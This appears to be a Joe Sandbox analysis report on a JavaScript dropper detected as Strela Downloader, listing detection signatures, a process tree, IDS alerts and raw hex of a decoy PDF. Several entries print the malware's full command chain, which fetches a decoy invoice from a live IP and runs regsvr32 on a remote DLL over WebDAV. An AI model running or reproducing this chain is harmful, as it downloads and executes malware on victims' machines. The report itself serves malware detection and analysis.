Edit tour

Windows Analysis Report
7003183412181430311.js

Overview

General Information

Sample name:	7003183412181430311.js
Analysis ID:	1588750
MD5:	44f8ae7bbc0073f8e9f9a32fd58196aa
SHA1:	c6eca35e9fe1152452e29024599c513ceeac7f52
SHA256:	7b88533f1c902d869f5a2cce7332900856cd53ac74695c766509f94982b41cd4
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 764 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4916 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3156 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5824 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7404 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2240 --field-trial-handle=1652,i,3231209704093692969,12306063606434477512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4124 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2504 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2336	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4916, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4916, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ProcessId: 2336, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2504, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 764, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 764, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 764, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 764, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 764, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ProcessId: 2336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4916, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4124, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2504, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7232, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4124, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2504, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 764, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:02:28.593208+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:02:30.845789+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:02:28.593208+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 7003183412181430311.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 7003183412181430311.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 7003183412181430311.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:02:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 